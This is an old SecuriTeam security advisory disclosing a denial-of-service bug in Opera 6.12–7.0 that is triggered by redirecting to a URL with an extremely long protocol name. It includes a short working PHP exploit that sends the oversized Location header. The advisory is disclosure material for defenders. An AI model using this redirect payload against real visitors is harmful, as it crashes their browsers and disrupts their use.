[NEWS] Opera Denial of Service (Long Protocol Name)
From: SecuriTeam (support_at_securiteam.com)
Date: 07/28/03
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To: list@securiteam.com Date: 28 Jul 2003 15:32:30 +0200
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
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Opera Denial of Service (Long Protocol Name)
------------------------------------------------------------------------
SUMMARY
<http://www.opera.com> Opera is an alternative browser for both the
Windows and Linux operating system. The Opera browser has been found to be
vulnerable to a denial of service attack that can be exploited by
redirecting the current location to an overly long location (in which the
protocol name is the long buffer).
DETAILS
Vulnerable systems:
* Opera version 6.12 up to version 7.0
Exploit (PHP):
<?php
for($i=0; 20000+10000>$i; $i++) $prot.="A";
header("Location: $prot://dd");
?>
ADDITIONAL INFORMATION
The information has been provided by <mailto:dodo@darkwired.org> dodo.
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